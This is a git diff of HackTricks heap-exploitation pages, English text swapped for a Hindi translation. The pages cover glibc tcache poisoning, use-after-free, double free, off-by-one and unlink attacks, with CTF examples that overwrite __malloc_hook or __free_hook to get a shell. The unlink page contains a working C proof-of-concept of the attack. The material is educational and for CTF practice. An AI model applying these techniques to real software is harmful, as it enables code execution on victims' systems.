[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
- फिर चंक3 (0x1f8) का दुरुपयोग करते हुए नल ऑफ-बाय-वन का दुरुपयोग करते हुए prev_size को `0x4e0` पर लिखा जाता है।
|
||||
- ध्यान दें कि प्रारंभ में आवंटित चंक्स 1, 2, 5 और 3 के आकार और उन चंक्स के 4 हेडर का योग `0x4e0` के बराबर है: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
|
||||
- फिर, चंक 4 को मुक्त किया जाता है, एक चंक उत्पन्न करते हुए जो सभी चंक्स को शुरुआत तक खा जाता है:
|
||||
- ```python
|
||||
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
- ```python
|
||||
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
- फिर, `0x200` बाइट्स आवंटित किए जाते हैं जो मूल चंक 1 को भरते हैं।
|
||||
- और फिर 0x200 बाइट्स आवंटित किए जाते हैं और चंक2 नष्ट हो जाता है और इसलिए कोई लीक नहीं होती है और यह काम नहीं करता? शायद ऐसा नहीं करना चाहिए।
|
||||
- फिर, यह 0x58 "a"s के साथ एक और चंक आवंटित करता है (चंक2 को ओवरराइट करते हुए और चंक5 तक पहुँचते हुए) और चंक5 के तेज़ बिन चंक के `fd` को `__malloc_hook` की ओर इशारा करते हुए संशोधित करता है।
|
||||
- फिर, 0x68 का एक चंक आवंटित किया जाता है ताकि `__malloc_hook` में नकली तेज़ बिन चंक अगला तेज़ बिन चंक हो।
|
||||
- अंततः, 0x68 का एक नया तेज़ बिन चंक आवंटित किया जाता है और `__malloc_hook` को एक `one_gadget` पते के साथ ओवरराइट किया जाता है।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,23 +1,23 @@
|
||||
# Overwriting a freed chunk
|
||||
# एक मुक्त खंड को अधिलेखित करना
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
|
||||
कई प्रस्तावित हीप शोषण तकनीकों को मुक्त खंडों के अंदर पॉइंटर्स को अधिलेखित करने में सक्षम होना आवश्यक है। इस पृष्ठ का लक्ष्य उन संभावित कमजोरियों का सारांश प्रस्तुत करना है जो इस पहुंच को प्रदान कर सकती हैं:
|
||||
|
||||
### Simple Use After Free
|
||||
### सरल उपयोग के बाद मुक्त
|
||||
|
||||
If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
|
||||
यदि हमलावर के लिए **एक मुक्त खंड में जानकारी लिखना संभव है**, तो वे आवश्यक पॉइंटर्स को अधिलेखित करने के लिए इसका दुरुपयोग कर सकते हैं।
|
||||
|
||||
### Double Free
|
||||
### डबल फ्री
|
||||
|
||||
If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...)
|
||||
यदि हमलावर **एक ही खंड को दो बार `free`** कर सकता है (संभवतः बीच में अन्य खंडों को मुक्त करके) और इसे **एक ही बिन में 2 बार** बना सकता है, तो उपयोगकर्ता के लिए **बाद में खंड आवंटित करना**, **आवश्यक पॉइंटर्स को लिखना** और फिर **इसे फिर से आवंटित करना** संभव होगा, जिससे खंड के आवंटित होने की क्रियाएँ शुरू होंगी (जैसे, तेज बिन हमला, tcache हमला...)
|
||||
|
||||
### Heap Overflow
|
||||
### हीप ओवरफ्लो
|
||||
|
||||
It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
|
||||
यह संभव हो सकता है कि **एक आवंटित खंड को एक मुक्त खंड के साथ ओवरफ्लो किया जाए** और इसके कुछ हेडर/पॉइंटर्स को संशोधित किया जाए।
|
||||
|
||||
### Off-by-one overflow
|
||||
### ऑफ-बाय-वन ओवरफ्लो
|
||||
|
||||
In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
|
||||
इस मामले में, यह संभव होगा कि **मेमोरी में अगले खंड का आकार** संशोधित किया जाए। एक हमलावर इसका दुरुपयोग कर सकता है **एक आवंटित खंड का आकार बड़ा करने के लिए**, फिर **`free`** करना, जिससे खंड **एक अलग** आकार (बड़ा) के बिन में **जोड़ा जाए**, फिर **नकली आकार** आवंटित करना, और हमला एक **ऐसे खंड तक पहुंच प्राप्त करेगा जिसका आकार वास्तव में बड़ा है**, **इसलिए ओवरलैपिंग खंडों की स्थिति** प्रदान करना, जिसे **हीप ओवरफ्लो** के समान तरीके से शोषित किया जा सकता है (पिछले अनुभाग की जांच करें)।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,44 +4,44 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
For more information about what is a Tcache bin check this page:
|
||||
Tcache बिन क्या है, इसके बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें:
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
First of all, note that the Tcache was introduced in Glibc version 2.26.
|
||||
सबसे पहले, ध्यान दें कि Tcache को Glibc संस्करण 2.26 में पेश किया गया था।
|
||||
|
||||
The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
|
||||
**Tcache हमला** (जिसे **Tcache विषाक्तता** के रूप में भी जाना जाता है) जो [**guyinatuxido पृष्ठ**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) में प्रस्तावित किया गया है, तेज बिन हमले के समान है जहाँ लक्ष्य मुक्त किए गए खंड के अंदर बिन में अगले खंड के लिए पॉइंटर को एक मनमाने पते पर ओवरराइट करना है ताकि बाद में उस विशेष पते को **आवंटित किया जा सके और संभावित रूप से पॉइंटर्स को ओवरराइट किया जा सके**।
|
||||
|
||||
However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
|
||||
हालांकि, आजकल, यदि आप उल्लेखित कोड चलाते हैं तो आपको त्रुटि मिलेगी: **`malloc(): unaligned tcache chunk detected`**। इसलिए, नए पॉइंटर में पते के रूप में एक संरेखित पता लिखना आवश्यक है (या बाइनरी को पर्याप्त बार चलाना ताकि लिखा गया पता वास्तव में संरेखित हो)।
|
||||
|
||||
### Tcache indexes attack
|
||||
|
||||
Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
|
||||
आमतौर पर, यह संभव है कि हीप की शुरुआत में एक खंड हो जिसमें **tcache के अंदर प्रति इंडेक्स खंडों की मात्रा** और **प्रत्येक tcache इंडेक्स के हेड खंड का पता** हो। यदि किसी कारण से इस जानकारी को संशोधित करना संभव है, तो यह संभव होगा कि **कुछ इंडेक्स के हेड खंड को एक इच्छित पते पर इंगित किया जाए** (जैसे `__malloc_hook`) ताकि फिर एक इंडेक्स के आकार का खंड आवंटित किया जा सके और इस मामले में `__malloc_hook` की सामग्री को ओवरराइट किया जा सके।
|
||||
|
||||
## Examples
|
||||
|
||||
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
|
||||
- **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**.
|
||||
- **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\
|
||||
We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**.
|
||||
- **Libc info leak**: यह tcaches को भरने, असंरचित सूची में एक खंड जोड़ने, tcache को खाली करने और **केवल पहले 8B को ओवरराइट करके असंरचित बिन से खंड को फिर से आवंटित करने** के लिए संभव है, जिससे **chunk से libc का दूसरा पता बरकरार रहता है ताकि हम इसे पढ़ सकें**।
|
||||
- **Tcache attack**: बाइनरी एक 1B हीप ओवरफ्लो के लिए संवेदनशील है। इसका दुरुपयोग **आवंटित खंड के आकार के हेडर** को बदलने के लिए किया जाएगा जिससे यह बड़ा हो जाएगा। फिर, इस खंड को **मुक्त** किया जाएगा, इसे नकली आकार के खंडों के tcache में जोड़ दिया जाएगा। फिर, हम नकली आकार के साथ एक खंड आवंटित करेंगे, और पिछले खंड को **वापस किया जाएगा यह जानते हुए कि यह खंड वास्तव में छोटा था** और यह हमें **मेमोरी में अगले खंड को ओवरराइट करने का अवसर प्रदान करता है**।\
|
||||
हम इसका दुरुपयोग करेंगे **अगले खंड के FD पॉइंटर को ओवरराइट करने के लिए** ताकि यह **`malloc_hook`** की ओर इंगित करे, ताकि फिर 2 पॉइंटर्स आवंटित करना संभव हो: पहले वैध पॉइंटर जिसे हमने अभी संशोधित किया, और फिर दूसरा आवंटन **`malloc_hook`** में एक खंड लौटाएगा जिसे **one gadget** लिखने के लिए दुरुपयोग किया जा सकता है।
|
||||
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
|
||||
- **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one)
|
||||
- **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell.
|
||||
- **Libc info leak**: यहाँ एक उपयोग के बाद मुक्त और एक डबल फ्री है। इस लेख में लेखक ने एक छोटे बिन में रखे गए खंड के पते को पढ़कर libc का पता लीक किया (जैसे असंरचित बिन से लीक करना लेकिन छोटे से)।
|
||||
- **Tcache attack**: एक Tcache **डबल फ्री** के माध्यम से किया जाता है। एक ही खंड को दो बार मुक्त किया जाता है, इसलिए Tcache के अंदर खंड स्वयं की ओर इंगित करेगा। फिर, इसे आवंटित किया जाता है, इसका FD पॉइंटर **फ्री हुक** की ओर इंगित करने के लिए संशोधित किया जाता है और फिर इसे फिर से आवंटित किया जाता है ताकि सूची में अगला खंड फ्री हुक में हो। फिर, इसे भी आवंटित किया जाता है और यहाँ `system` का पता लिखना संभव है ताकि जब `"/bin/sh"` वाला malloc मुक्त किया जाए तो हमें एक शेल मिल सके।
|
||||
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
|
||||
- The main vuln here is the capacity to `free` any address in the heap by indicating its offset
|
||||
- **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100.
|
||||
- Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**.
|
||||
- Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\
|
||||
For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell.
|
||||
- यहाँ मुख्य कमजोरी यह है कि आप हीप में किसी भी पते को उसके ऑफसेट को इंगित करके `free` कर सकते हैं।
|
||||
- **Tcache indexes attack**: यह संभव है कि एक ऐसे आकार का खंड आवंटित और मुक्त किया जाए जो जब tcache खंड (tcache बिन की जानकारी वाला खंड) के अंदर संग्रहीत किया जाता है तो **0x100 का मान उत्पन्न करता है**। इसका कारण यह है कि tcache प्रत्येक बिन में खंडों की मात्रा को विभिन्न बाइट्स में संग्रहीत करता है, इसलिए एक विशिष्ट इंडेक्स में एक खंड 0x100 का मान उत्पन्न करता है।
|
||||
- फिर, यह मान ऐसा दिखता है जैसे 0x100 का आकार का एक खंड है। इसे `free` करके दुरुपयोग करने की अनुमति देता है। यह **उस पते को tcache में 0x100 के आकार के खंडों के इंडेक्स में जोड़ देगा**।
|
||||
- फिर, **0x100** के आकार का एक खंड **आवंटित** करते समय, पिछले पते को एक खंड के रूप में वापस किया जाएगा, जिससे अन्य tcache इंडेक्स को ओवरराइट करना संभव होगा।\
|
||||
उदाहरण के लिए, malloc हुक का पता उनमें से एक में डालना और उस इंडेक्स के आकार का एक खंड आवंटित करना calloc हुक में एक खंड प्राप्त करने की अनुमति देगा, जो एक **one gadget** लिखने के लिए एक शेल प्राप्त करने की अनुमति देता है।
|
||||
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
|
||||
- Same vulnerability as before with one extra restriction
|
||||
- **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
|
||||
- पहले की तरह ही कमजोरी है लेकिन एक अतिरिक्त प्रतिबंध के साथ।
|
||||
- **Tcache indexes attack**: पिछले वाले के समान हमला लेकिन **tcache जानकारी वाले खंड को मुक्त करके** कम चरणों का उपयोग करके ताकि इसका पता उसके आकार के tcache इंडेक्स में जोड़ा जा सके ताकि उस आकार को आवंटित करना संभव हो और tcache खंड की जानकारी को एक खंड के रूप में प्राप्त किया जा सके, जो एक इंडेक्स के पते के रूप में फ्री हुक को जोड़ने की अनुमति देता है, इसे आवंटित करें, और उस पर एक **one gadget** लिखें।
|
||||
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
|
||||
- **Write After Free** to add a number to the `fd` pointer.
|
||||
- A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
|
||||
- **Glibc leak** through `stdout` (FSOP).
|
||||
- **Tcache poisoning** to get an arbitrary write primitive.
|
||||
- **Write After Free** `fd` पॉइंटर में एक संख्या जोड़ने के लिए।
|
||||
- इस चुनौती में बहुत सारे **heap feng-shui** की आवश्यकता है। लेख में दिखाया गया है कि **Tcache** फ्री-लिस्ट के हेड को नियंत्रित करना कितना उपयोगी है।
|
||||
- `stdout` (FSOP) के माध्यम से **Glibc leak**।
|
||||
- **Tcache poisoning** एक मनमाने लिखने की प्राइमिटिव प्राप्त करने के लिए।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,14 +4,13 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**.
|
||||
जब इस हमले का पता चला, तो इसने ज्यादातर WWW (Write What Where) की अनुमति दी, हालाँकि, कुछ **जांचें जोड़ी गईं** जिससे हमले का नया संस्करण अधिक दिलचस्प, अधिक जटिल और **व्यर्थ** हो गया।
|
||||
|
||||
### Code Example:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code</summary>
|
||||
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
|
||||
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
|
||||
|
||||
struct chunk_structure {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct chunk_structure *fd;
|
||||
struct chunk_structure *bk;
|
||||
char buf[10]; // padding
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct chunk_structure *fd;
|
||||
struct chunk_structure *bk;
|
||||
char buf[10]; // padding
|
||||
};
|
||||
|
||||
int main() {
|
||||
unsigned long long *chunk1, *chunk2;
|
||||
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||||
char data[20];
|
||||
unsigned long long *chunk1, *chunk2;
|
||||
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||||
char data[20];
|
||||
|
||||
// First grab two chunks (non fast)
|
||||
chunk1 = malloc(0x8000);
|
||||
chunk2 = malloc(0x8000);
|
||||
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk2: %p\n", chunk2);
|
||||
// First grab two chunks (non fast)
|
||||
chunk1 = malloc(0x8000);
|
||||
chunk2 = malloc(0x8000);
|
||||
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk2: %p\n", chunk2);
|
||||
|
||||
// Assuming attacker has control over chunk1's contents
|
||||
// Overflow the heap, override chunk2's header
|
||||
// Assuming attacker has control over chunk1's contents
|
||||
// Overflow the heap, override chunk2's header
|
||||
|
||||
// First forge a fake chunk starting at chunk1
|
||||
// Need to setup fd and bk pointers to pass the unlink security check
|
||||
fake_chunk = (struct chunk_structure *)chunk1;
|
||||
fake_chunk->size = 0x8000;
|
||||
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||||
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||||
// First forge a fake chunk starting at chunk1
|
||||
// Need to setup fd and bk pointers to pass the unlink security check
|
||||
fake_chunk = (struct chunk_structure *)chunk1;
|
||||
fake_chunk->size = 0x8000;
|
||||
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||||
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||||
|
||||
// Next modify the header of chunk2 to pass all security checks
|
||||
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||||
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||||
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||||
// Next modify the header of chunk2 to pass all security checks
|
||||
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||||
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||||
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||||
|
||||
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||||
// This results in chunk1 pointer pointing to chunk1 - 3
|
||||
// i.e. chunk1[3] now contains chunk1 itself.
|
||||
// We then make chunk1 point to some victim's data
|
||||
free(chunk2);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||||
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||||
// This results in chunk1 pointer pointing to chunk1 - 3
|
||||
// i.e. chunk1[3] now contains chunk1 itself.
|
||||
// We then make chunk1 point to some victim's data
|
||||
free(chunk2);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||||
|
||||
chunk1[3] = (unsigned long long)data;
|
||||
chunk1[3] = (unsigned long long)data;
|
||||
|
||||
strcpy(data, "Victim's data");
|
||||
strcpy(data, "Victim's data");
|
||||
|
||||
// Overwrite victim's data using chunk1
|
||||
chunk1[0] = 0x002164656b636168LL;
|
||||
// Overwrite victim's data using chunk1
|
||||
chunk1[0] = 0x002164656b636168LL;
|
||||
|
||||
printf("%s\n", data);
|
||||
printf("%s\n", data);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
- Attack doesn't work if tcaches are used (after 2.26)
|
||||
- हमला तब काम नहीं करता जब tcaches का उपयोग किया जाता है (2.26 के बाद)
|
||||
|
||||
### Goal
|
||||
### लक्ष्य
|
||||
|
||||
This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.
|
||||
यह हमला **एक चंक के लिए एक पॉइंटर को अपने से 3 पते पहले इंगित करने की अनुमति देता है**। यदि यह नया स्थान (जहां पॉइंटर स्थित था) में दिलचस्प चीजें हैं, जैसे अन्य नियंत्रित आवंटन / स्टैक..., तो उन्हें पढ़ना/ओवरराइट करना संभव है जिससे बड़ा नुकसान हो सकता है।
|
||||
|
||||
- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary
|
||||
- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\
|
||||
As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).
|
||||
- यदि यह पॉइंटर स्टैक में स्थित था, क्योंकि यह अब अपने से 3 पते पहले इंगित कर रहा है और उपयोगकर्ता इसे पढ़ और संशोधित कर सकता है, तो स्टैक से संवेदनशील जानकारी लीक करना या यहां तक कि रिटर्न पते को संशोधित करना (शायद) संभव होगा बिना कैनरी को छुए।
|
||||
- CTF उदाहरणों के अनुसार, यह पॉइंटर अन्य आवंटनों के लिए पॉइंटर्स के एक एरे में स्थित है, इसलिए, इसे 3 पते पहले इंगित करने और इसे पढ़ने और लिखने में सक्षम होने पर, यह संभव है कि अन्य पॉइंटर्स को अन्य पते पर इंगित किया जाए।\
|
||||
चूंकि उपयोगकर्ता अन्य आवंटनों को भी पढ़/लिख सकता है, वह जानकारी लीक कर सकता है या मनमाने स्थानों (जैसे GOT में) में नए पते को ओवरराइट कर सकता है।
|
||||
|
||||
### Requirements
|
||||
### आवश्यकताएँ
|
||||
|
||||
- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.
|
||||
- Stack leak in order to set the pointers of the fake chunk.
|
||||
- कुछ नियंत्रण एक मेमोरी (जैसे स्टैक) में कुछ विशेषताओं को मान देने के लिए कुछ चंक्स बनाने के लिए।
|
||||
- नकली चंक के पॉइंटर्स को सेट करने के लिए स्टैक लीक।
|
||||
|
||||
### Attack
|
||||
### हमला
|
||||
|
||||
- There are a couple of chunks (chunk1 and chunk2)
|
||||
- The attacker controls the content of chunk1 and the headers of chunk2.
|
||||
- In chunk1 the attacker creates the structure of a fake chunk:
|
||||
- To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating`
|
||||
- and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located:
|
||||
- कुछ चंक्स हैं (chunk1 और chunk2)
|
||||
- हमलावर chunk1 की सामग्री और chunk2 के हेडर को नियंत्रित करता है।
|
||||
- chunk1 में हमलावर एक नकली चंक की संरचना बनाता है:
|
||||
- सुरक्षा को बायपास करने के लिए वह सुनिश्चित करता है कि `size` फ़ील्ड सही है ताकि त्रुटि से बचा जा सके: `corrupted size vs. prev_size while consolidating`
|
||||
- और नकली चंक के `fd` और `bk` फ़ील्ड उस स्थान पर इंगित कर रहे हैं जहां chunk1 पॉइंटर स्टोर किया गया है -3 और -2 के ऑफसेट के साथ, इसलिए `fake_chunk->fd->bk` और `fake_chunk->bk->fd` मेमोरी (स्टैक) में उस स्थान पर इंगित करते हैं जहां असली chunk1 पता स्थित है:
|
||||
|
||||
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.
|
||||
- When the second chunk is freed then this fake chunk is unlinked happening:
|
||||
- `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
- `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
|
||||
- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
|
||||
- Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
|
||||
- Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
|
||||
- chunk2 के हेडर को संशोधित किया जाता है ताकि यह संकेत दिया जा सके कि पिछला चंक उपयोग में नहीं है और कि आकार नकली चंक का आकार है।
|
||||
- जब दूसरा चंक मुक्त किया जाता है, तो यह नकली चंक अनलिंक हो जाता है:
|
||||
- `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
- `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
- पहले यह सुनिश्चित किया गया था कि `fake_chunk->fd->bk` और `fake_chunk->bk->fd` एक ही स्थान पर इंगित करते हैं (स्टैक में जहां `chunk1` स्टोर किया गया था, इसलिए यह एक मान्य लिंक्ड लिस्ट थी)। चूंकि **दोनों एक ही स्थान की ओर इशारा कर रहे हैं**, केवल अंतिम (`fake_chunk->bk->fd = fake_chunk->fd`) **प्रभाव** डालेगा।
|
||||
- यह **स्टैक में chunk1 के लिए पॉइंटर को उस पते (या बाइट्स) को ओवरराइट करेगा जो स्टैक में 3 पते पहले स्टोर किया गया था**।
|
||||
- इसलिए, यदि एक हमलावर फिर से chunk1 की सामग्री को नियंत्रित कर सकता है, तो वह **स्टैक के अंदर लिखने में सक्षम होगा** जिससे वह संभावित रूप से रिटर्न पते को ओवरराइट कर सकेगा, कैनरी को छोड़कर और स्थानीय चर के मान और बिंदुओं को संशोधित कर सकेगा। यहां तक कि स्टैक में chunk1 के पते को एक अलग स्थान पर संशोधित कर सकेगा जहां यदि हमलावर फिर से chunk1 की सामग्री को नियंत्रित कर सके, तो वह कहीं भी लिख सकेगा।
|
||||
- ध्यान दें कि यह संभव था क्योंकि **पते स्टैक में स्टोर किए गए थे**। जोखिम और शोषण इस पर निर्भर कर सकता है कि **नकली चंक के पते कहां स्टोर किए जा रहे हैं**।
|
||||
|
||||
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
|
||||
- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:
|
||||
- CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
|
||||
- In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.
|
||||
- Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
|
||||
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.
|
||||
